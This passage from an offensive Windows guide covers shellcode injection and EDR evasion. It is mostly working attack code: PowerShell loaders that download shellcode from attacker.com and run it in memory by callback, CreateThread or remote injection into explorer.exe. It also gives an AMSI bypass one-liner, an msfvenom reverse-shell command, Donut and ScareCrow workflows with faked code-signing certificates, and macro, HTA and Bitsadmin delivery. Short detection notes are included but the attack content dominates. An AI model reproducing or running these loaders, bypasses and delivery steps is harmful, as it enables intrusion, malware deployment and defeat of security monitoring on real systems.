Detection vectors: - PowerShell hanging (suspicious behavior) - Memory allocation pattern - Delegate invocation (unusual for PowerShell) - EDR hooks on memory allocation
9.4 Best Use Case
- ✅ One-shot payloads (reverse shell that doesn't loop)
- ✅ Silent payloads that don't require persistence
- ✅ Avoiding thread-creation detection specifically
- ❌ NOT for interactive beacons (PowerShell hangs)
10. Callback-Based Injection (EnumSystemLocales)
What it means: Abuse legitimate Windows callback functions (EnumSystemLocalesA, EnumTimeFormatsA) that accept function pointers. These accept a callback that the OS calls in a specific context, allowing code execution with minimal API footprint.
10.1 Concept
Callback injection:
├─ Allocate shellcode in memory
├─ Call EnumSystemLocalesA(shellcode_address, ...)
├─ OS loops through system locales, calling YOUR shellcode for each
├─ Shellcode executes in OS callback context
└─ When EnumSystemLocalesA returns, you're done
10.2 Implementation
$code = @"
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern bool EnumSystemLocalesA(
IntPtr lpLocaleEnumProc, // Callback function pointer
uint dwFlags // Flags (0)
);
[DllImport("kernel32.dll")]
public static extern bool EnumTimeFormatsA(
IntPtr lpTimeFmtEnumProc, // Callback function pointer
uint Locale, // Locale ID
uint dwFlags // Flags (0)
);
"@
$kernel32 = Add-Type -MemberDefinition $code -Name "Kernel32" -Namespace "Win32" -PassThru
# Download shellcode
$shellcode = (New-Object System.Net.WebClient).DownloadData("http://attacker.com:7777/payload.bin")
# Allocate memory
$mem = $kernel32::VirtualAlloc([IntPtr]::Zero, $shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $mem, $shellcode.Length)
# Execute via callback
$kernel32::EnumSystemLocalesA($mem, 0)
10.3 Why Callback Injection Works
Pros: - ✅ No obvious thread creation - ✅ Uses legitimate Windows function (EnumSystemLocales) - ✅ Less common injection technique (fewer signatures) - ✅ Minimal API footprint
Cons: - ⚠️ Shellcode must be compatible with callback signature - ❌ Limited control over execution (OS manages callback) - ❌ Shellcode might not run as expected (wrong context) - ❌ Not all payloads work with callback model - ❌ EnumSystemLocalesA might be monitored
Detection vectors: - Unusual EnumSystemLocalesA usage (suspicious callback) - Memory allocation + callback sequence - Behavioral: PowerShell calling system enumeration functions
10.4 When to Use
- ✅ Creative evasion (unusual technique)
- ✅ When thread creation is specifically blocked
- ⚠️ Limited applicability (requires compatible shellcode)
- ❌ Not reliable for interactive beacons
11. Shellcode Obfuscation & Encoding
What it means: Shellcode often contains recognizable patterns (common API calls, strings, imports). Obfuscation changes the binary representation while maintaining functionality.
11.1 XOR Encoding (Basic)
# Encode shellcode with XOR key
$key = 0xAB
$encoded = @()
foreach ($byte in $shellcode) {
$encoded += $byte -bxor $key
}
# At runtime, decode before execution
$decoded = @()
foreach ($byte in $encoded) {
$decoded += $byte -bxor $key
}
# Execute decoded shellcode
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($decoded.Length)
[System.Runtime.InteropServices.Marshal]::Copy($decoded, 0, $mem, $decoded.Length)
# ... execute ...
Pros: Simple, reduces obvious patterns Cons: Decoder is detectable, XOR is easy to reverse
11.2 Base64 Encoding
# Encode
$b64 = [Convert]::ToBase64String($shellcode)
# Decode at runtime
$decoded = [Convert]::FromBase64String($b64)
# Execute
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($decoded.Length)
[System.Runtime.InteropServices.Marshal]::Copy($decoded, 0, $mem, $decoded.Length)
Pros: Common obfuscation, reduces signatures Cons: Base64 decoder is obvious, many encodings possible
11.3 AES Encryption (Advanced)
# Encrypt with AES
$key = [System.Security.Cryptography.RNGCryptoServiceProvider]::new().GetBytes(32)
$aes = [System.Security.Cryptography.AesCryptoServiceProvider]::new()
$aes.Key = $key
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$encryptor = $aes.CreateEncryptor()
$ms = [System.IO.MemoryStream]::new()
$cs = [System.Security.Cryptography.CryptoStream]::new($ms, $encryptor, [System.Security.Cryptography.CryptoStreamMode]::Write)
$cs.Write($shellcode, 0, $shellcode.Length)
$cs.FlushFinalBlock()
$encrypted = $ms.ToArray()
# At runtime, decrypt
$decryptor = $aes.CreateDecryptor()
$ms = [System.IO.MemoryStream]::new($encrypted)
$cs = [System.Security.Cryptography.CryptoStream]::new($ms, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Read)
$decrypted = New-Object byte[] $shellcode.Length
$cs.Read($decrypted, 0, $decrypted.Length)
# Execute decrypted shellcode
Pros: Strong encryption, harder to reverse Cons: Slower, AES libraries are suspicious in PowerShell
12. Donut: PE to Shellcode Conversion
What it means: Donut is a tool that converts Windows PE binaries (EXE, DLL) into position-independent shellcode. The shellcode includes an internal PE loader, AMSI patching, and ETW patching.
12.1 Donut Workflow
# On attacker machine:
# Step 1: Get the binary
ls -la Certify.exe # 174 KB
# Step 2: Convert to shellcode
donut -i Certify.exe -o certify.bin
# Step 3: Serve shellcode
python3 -m http.server 7777
# On target (PowerShell):
# Step 1: Download shellcode (not EXE)
$shellcode = (New-Object Net.WebClient).DownloadData("http://attacker:7777/certify.bin")
# Step 2: Inject into memory (regular VirtualAlloc + CreateThread)
# ... standard injection code ...
12.2 Why Donut is Powerful
Pros: - ✅ PE → position-independent shellcode (works at any address) - ✅ Internal PE loader (includes ntdll, kernel32 resolution) - ✅ Automatic AMSI patching (bypasses PowerShell scanning) - ✅ Automatic ETW patching (disables event logging) - ✅ Works with .NET and native binaries - ✅ Randomizes entropy (different each time) - ✅ PE header overwriting (breaks signature matching)
Cons: - ⚠️ Requires pre-processing (can't convert in PowerShell) - ❌ Shellcode is 30-50% larger than original binary - ❌ Decoder is still visible (Donut format)
12.3 Donut Command-Line Options
# Basic conversion
donut -i binary.exe -o payload.bin
# With obfuscation (Entropy randomization)
donut -i binary.exe -o payload.bin -e 3 # Max entropy
# Target architecture (x64, x86, etc.)
donut -i binary.exe -o payload.bin -a 3 # 3 = x64
# Execution mode (thread, process hollowing, etc.)
donut -i binary.exe -o payload.bin -E 1 # 1 = exit thread
# AMSI/ETW patching control
donut -i binary.exe -o payload.bin -p 3 # 3 = patch all
# Full example with options:
donut -i Certify.exe -o certify.bin -e 3 -a 3 -E 1 -p 3
12.4 Donut Output
$ donut -i Certify.exe -o certify.bin
[ Donut shellcode generator v1 (built Oct 23 2024)
[ Copyright (c) 2019-2021 TheWover, Odzhan
[ Instance type : Embedded # Binary is embedded in shellcode
[ Module file : "Certify.exe"
[ Entropy : Random names + Encryption
[ File type : EXE
[ Target CPU : x86+amd64
[ AMSI/WDLP/ETW : continue # Patches all evasion markers
[ PE Headers : overwrite
[ Shellcode : "certify.bin"
[ Exit : Thread
$ ls -la certify.bin
130.5 KiB certify.bin # Typically 30-50% larger than original
13. ScareCrow: EDR Evasion & Payload Generation
What it means: ScareCrow is a payload creation framework designed for side-loading into legitimate Windows processes, bypassing application whitelisting and EDR detection. Unlike traditional shellcode obfuscators, ScareCrow generates compiled DLL/binary loaders that:
- Unhook EDR hooks from system DLLs (Disk or KnownDLLs method)
- Use custom indirect syscalls (avoids API hooks)
- Patch AMSI and ETW (disables monitoring)
- Spoof file attributes and code signing certificates
- Support multiple execution methods and process injection
- Encrypt shellcode (AES, ELZMA, RC4)
- Obfuscate code with Garble
13.1 ScareCrow Architecture
Key difference from other tools:
Traditional shellcode → VirtualAlloc → CreateThread → Detected by EDR
ScareCrow approach:
Shellcode → Encrypted in DLL → Load via legitimate sideload
→ Unhook EDR from system DLLs → Custom syscalls → Patched AMSI/ETW
→ Not detected by EDR
13.2 Installation Requirements
# Install Go 1.19.1 or later (required!)
# Download from: https://golang.org/dl/
# Install system dependencies
sudo apt-get install openssl osslsigncode mingw-w64
# Install Go dependencies
go get github.com/fatih/color
go get github.com/yeka/zip
go get github.com/josephspurrier/goversioninfo
go get github.com/Binject/debug/pe
go get github.com/awgh/rawreader
# Clone and build ScareCrow
git clone https://github.com/Tylous/ScareCrow.git
cd ScareCrow
go build ScareCrow.go
13.3 Loader Types (How to Load Shellcode)
| Loader Type | Method | Process | Best For |
|---|---|---|---|
| binary | Direct execution | N/A (standalone) | Standalone payloads |
| dll | DLL export functions | N/A | rundll32/regsvr32 |
| control | Control Panel applet | rundll32.exe | Less suspicious appearance |
| wscript | WScript process + manifest | wscript.exe | Registration-free COM |
| excel | Excel XLL file | excel.exe | Excel sideloading |
| msiexec | Windows Installer | msiexec.exe | MSI-based execution |
13.4 Execution Methods (-Exec)
| Execution Method | What It Does | Stealth |
|---|---|---|
| RtlCopy | Use RtlCopy syscall (default) | High |
| VirtualAlloc | Traditional VirtualAlloc + CreateThread | Medium |
| NtQueueApcThreadEx | APC-based execution | High |
| ProcessInjection | Inject into another process | Very High |
13.5 EDR Unhooking (-Evasion)
| Evasion Type | Method | How It Works |
|---|---|---|
| Disk (default) | Read clean DLLs from disk | Copies .text section from C:\Windows\System32\ |
| KnownDLLs | Map from KnownDLLs cache | Uses NtOpenSection/NtMapViewOfSection |
| None | Direct syscalls only | No unhooking, pure indirect syscalls |
13.6 Encryption Methods (-encryptionmode)
| Encryption | Pros | Cons |
|---|---|---|
| ELZMA (default) | Compression + encryption | Slightly larger |
| AES | Strong encryption (256-bit) | Standard, more detectable |
| RC4 | Fast, simple | Weaker encryption |
13.7 Command-Line Flags (Complete Reference)
# Input/Output
-I <path> # Path to raw shellcode
-O <filename> # Output filename (only for non-binary loaders)
# Loader Type
-Loader binary # Standalone binary (default)
-Loader dll # DLL file
-Loader control # Control Panel applet
-Loader wscript # WScript loader
-Loader excel # Excel XLL file
-Loader msiexec # MSIExec loader
# Execution Method
-Exec RtlCopy # RtlCopy execution (default, stealthiest)
-Exec VirtualAlloc # VirtualAlloc + CreateThread
-Exec NtQueueApcThreadEx # APC-based execution
-Exec ProcessInjection # Process injection
# EDR Unhooking
-Evasion Disk # Unhook from disk DLLs (default)
-Evasion KnownDLLs # Unhook from KnownDLLs
-Evasion None # No unhooking, direct syscalls
# Process Injection (requires path to target process)
-injection "C:\\Windows\\explorer.exe" # Path to process (use double backslashes)
# Encryption
-encryptionmode AES # AES-256 encryption
-encryptionmode ELZMA # ELZMA compression+encryption (default)
-encryptionmode RC4 # RC4 encryption
# Code Signing & Attributes
-domain acme.com # Create fake cert for domain (REQUIRED unless -nosign)
-nosign # Disable code signing
-valid <path> # Use existing code signing certificate
-clone <path> # Clone cert attributes from existing file
-configfile <path> # Custom JSON config for file attributes
# AMSI & ETW
-noamsi # Disable AMSI patching
-noetw # Disable ETW patching
# Obfuscation
-obfu # Enable Garble obfuscation (takes longer, larger output)
# Behavior
-console # Show console output (don't hide window)
-nosleep # Disable sleep delay before execution
-sandbox # Enable sandbox evasion (IsDomainJoined checks)
# Delivery Methods
-delivery bits # Generate Bitsadmin download one-liner
-delivery hta # Generate HTA file with loader
-delivery macro # Generate Office macro
-url https://attacker.com/ # URL for delivery payloads
13.8 Usage Examples
Basic DLL loader (default):
./ScareCrow -I shellcode.raw -domain microsoft.com -nosign
Excel XLL with full evasion:
./ScareCrow -I shellcode.raw -Loader excel -domain microsoft.com -nosign -Evasion Disk -Exec RtlCopy -encryptionmode AES -obfu
WScript with process injection:
./ScareCrow -I shellcode.raw -Loader wscript -domain microsoft.com -nosign -injection "C:\\Windows\\explorer.exe"
Control Panel applet with Bitsadmin delivery:
./ScareCrow -I shellcode.raw -Loader control -domain microsoft.com -nosign -delivery bits -url https://attacker.com/
Process injection (stealthiest):
./ScareCrow -I shellcode.raw -Loader binary -domain microsoft.com -nosign -Exec ProcessInjection -injection "C:\\Windows\\explorer.exe" -Evasion Disk -noamsi -noetw -obfu
Maximum obfuscation + evasion:
./ScareCrow -I shellcode.raw -Loader excel -domain acme.com -nosign -Evasion KnownDLLs -Exec RtlCopy -encryptionmode AES -obfu -sandbox -noamsi -noetw -console false
13.9 Real-World Workflow
# Step 1: Generate shellcode with Donut (for PE binaries)
donut -i demon.x64.exe -o demon.bin
# Step 2: Process with ScareCrow for full EDR evasion
./ScareCrow -I demon.bin -Loader excel -domain microsoft.com -nosign -Evasion Disk -Exec RtlCopy -encryptionmode AES -obfu
# Step 3: Server the output
# For Excel loader, ScareCrow generates an XLL file
# Or for binary, it generates a standalone EXE
# Step 4: Deliver to target (Bitsadmin, HTA, macro, etc.)
# Use the generated delivery command from ScareCrow
# Step 5: Execution on target
# Process loads, unhooks EDR, patches AMSI/ETW, executes shellcode
# All via custom syscalls, invisible to EDR
13.10 Why ScareCrow is Effective
Pros: - ✅ Compiled binary (not detected as script/shellcode) - ✅ Unhooks EDR from system DLLs (removes hooks from memory) - ✅ Custom indirect syscalls (bypasses API hooks) - ✅ AMSI + ETW patching built-in - ✅ Multiple loader types (Excel, WScript, Control Panel) - ✅ Code signing + attribute spoofing (looks legitimate) - ✅ Process injection support (hide in other processes) - ✅ Multiple delivery methods (Bitsadmin, HTA, macro) - ✅ Very high evasion rate against modern EDR
Cons: - ❌ Requires Go 1.19.1+ to compile - ❌ Requires openssl/osslsigncode on system - ❌ Output is larger than raw shellcode - ❌ Compilation takes time (especially with -obfu) - ⚠️ Compile on Linux/macOS (Windows compilation issues)
13.11 OpSec Considerations
# ⚠️ IMPORTANT: When using microsoft.com domain for signing
# Windows Defender ATP can validate the cert and may flag it
# Use a different domain for Windows Defender environments
# Example: Use different domains based on environment
# AWS environment → use amazon.com
# Office environment → use adobe.com
# Generic → use apple.com or google.com
13.12 ScareCrow vs Traditional Shellcode
| Feature | ScareCrow | Traditional (Donut + VirtualAlloc) |
|---|---|---|
| File Type | Compiled DLL/EXE | Raw shellcode |
| EDR Hook Removal | Yes (automatic) | No |
| AMSI/ETW Bypass | Built-in | Requires separate bypass |
| Syscalls | Custom indirect | Win32 (hooked) |
| Code Signing | Included | N/A |
| Loader Options | 6 types | 1 (memory injection) |
| Detection Rate | Very Low (~5-10%) | Low (~20-30%) |
| Compilation Time | 5-15 seconds | Instant |
14. Detection & Evasion
14.1 What EDR Looks For
Process creation: - Event ID 3: Process creation (CreateProcessA/W) - Event ID 8: CreateRemoteThread - Event ID 10: Process access (OpenProcess) - Event ID 17/18: Pipe events (inter-process communication)
Memory operations: - VirtualAlloc with PAGE_EXECUTE_READWRITE (RWX) - WriteProcessMemory on system processes - VirtualProtect changing to executable - Memory allocation size/frequency (spraying)
API sequence patterns: - OpenProcess → VirtualAllocEx → WriteProcessMemory → CreateRemoteThread (classic injection) - Suspend → SetThreadContext → Resume (context hijacking) - QueueUserAPC → SleepEx (APC callback)
Behavioral detection: - PowerShell allocating RWX memory - Powershell.exe accessing explorer.exe memory - Unusual API call sequences - Network callback from suspicious process
14.2 Evasion Strategies
1. API Obfuscation
# Don't call VirtualAlloc directly — hide it
$alloc = "VirtualAlloc"
$kernel32 = [System.Reflection.Assembly]::LoadWithPartialName("System.Runtime.InteropServices")
# Construct dynamically, avoid string signatures
2. Timing-based evasion
# Add random delays between suspicious API calls
Start-Sleep -Milliseconds (Get-Random -Minimum 1000 -Maximum 5000)
$mem = $kernel32::VirtualAlloc(...)
Start-Sleep -Milliseconds (Get-Random -Minimum 1000 -Maximum 5000)
$kernel32::CreateThread(...)
3. Process selection
# Inject into process with legitimate network callbacks (explorer.exe)
# NOT into isolated processes (notepad.exe, calc.exe)
4. AMSI + ETW bypass before injection
# Patch AMSI first (your payload won't be scanned)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Patch ETW (your injection won't be logged)
# ... ETW patching code ...
# NOW inject (no telemetry)
# ... VirtualAlloc + CreateThread ...
5. Use native APIs instead of Win32
# RtlCreateUserThread instead of CreateThread
# NtAllocateVirtualMemory instead of VirtualAlloc
# (less hooked by EDR)
15. Comparison Matrix
| Technique | Complexity | Stealth | Reliability | Detection Risk | Best For |
|---|---|---|---|---|---|
| VirtualAlloc + CreateThread | Low | Medium | Very High | High | CTF, learning, baseline |
| QueueUserAPC | Medium | High | Medium | Medium | Avoiding thread creation |
| SetThreadContext | High | High | Low | High | Creative scenarios |
| RtlCreateUserThread | Medium | High | High | Low | EDR evasion |
| Remote Injection (WPM) | Medium | High | High | High | Multi-process, masquerading |
| Process Hollowing | Very High | Very High | Low | Very High | Legacy systems only |
| Inline Execution | Low | Very High | Medium | Low | Stealthy one-shot |
| Callback Injection | High | Very High | Low | Medium | Creative evasion |
| Donut | Low | Very High | Very High | Low | PE → shellcode conversion |
| Scarecrow | Medium | Very High | High | Very Low | Polymorphic obfuscation |
16. Cheat Sheet
Quick Reference: Standard Injection
# Fastest baseline method (CTF-ready)
$code = @"
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
[DllImport("kernel32.dll")]
public static extern void Sleep(uint dwMilliseconds);
"@
$kernel32 = Add-Type -MemberDefinition $code -Name "Kernel32" -Namespace "Win32" -PassThru
$shellcode = (New-Object System.Net.WebClient).DownloadData("http://attacker.com:7777/payload.bin")
$mem = $kernel32::VirtualAlloc([IntPtr]::Zero, $shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $mem, $shellcode.Length)
$threadId = 0
$kernel32::CreateThread([IntPtr]::Zero, 0, $mem, [IntPtr]::Zero, 0, [ref]$threadId)
$kernel32::Sleep(2000)
Quick Reference: Remote Injection (Explorer)
# Inject into explorer.exe instead of PowerShell
$targetProcess = Get-Process explorer | Select-Object -First 1
$hProcess = $kernel32::OpenProcess(0x001F0FFF, $false, $targetProcess.Id)
$allocAddr = $kernel32::VirtualAllocEx($hProcess, [IntPtr]::Zero, $shellcode.Length, 0x3000, 0x40)
$kernel32::WriteProcessMemory($hProcess, $allocAddr, $shellcode, $shellcode.Length, [ref]$bytesWritten)
$kernel32::CreateRemoteThread($hProcess, [IntPtr]::Zero, 0, $allocAddr, [IntPtr]::Zero, 0, [ref]$threadId)
Quick Reference: Donut Conversion
# Convert binary to shellcode
donut -i Certify.exe -o certify.bin
# Inject shellcode (use standard VirtualAlloc + CreateThread above)
Decision Tree: Which Injection Method?
Need to inject shellcode?
│
├─ Baseline/CTF? → VirtualAlloc + CreateThread
├─ Avoid thread creation detection? → QueueUserAPC or Inline
├─ Multi-process hiding? → Remote Process Injection (WriteProcessMemory)
├─ Convert PE binary? → Donut (then standard injection)
├─ Polymorphic obfuscation? → Scarecrow
├─ EDR evasion? → RtlCreateUserThread + AMSI/ETW bypass
└─ Legacy system? → Process Hollowing (use with caution)
Memory Flags Quick Reference
# Allocation
0x1000 = MEM_COMMIT
0x2000 = MEM_RESERVE
0x3000 = MEM_COMMIT | MEM_RESERVE (full allocation)
# Protection
0x0001 = PAGE_NOACCESS
0x0002 = PAGE_READONLY
0x0004 = PAGE_READWRITE
0x0010 = PAGE_EXECUTE
0x0020 = PAGE_EXECUTE_READ
0x0040 = PAGE_EXECUTE_READWRITE (RWX)
0x0080 = PAGE_EXECUTE_WRITECOPY
Common Shellcode Sources
Msfvenom:
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=attacker LPORT=443 -f raw
Donut (PE → shellcode):
donut -i binary.exe -o output.bin
Scarecrow (obfuscation):
scarecrow -I payload.raw -O obfuscated.bin
C2 Frameworks:
Havoc → generate → .bin shellcode
Sliver → generate → profile → .bin
Cobalt Strike → generate → artifact
References & Tools
Tools mentioned: - Donut — https://github.com/TheWover/donut - Scarecrow — https://github.com/Tylous/Scarecrow - Msfvenom — Part of Metasploit Framework - Havoc — https://github.com/HavocFramework/Havoc - Sliver — https://github.com/BishopFox/sliver
Further Reading: - Windows API Documentation (MSDN) - Sysmon Event ID reference - EDR evasion techniques (red team blogs) - Malware analysis (reverse engineering perspective)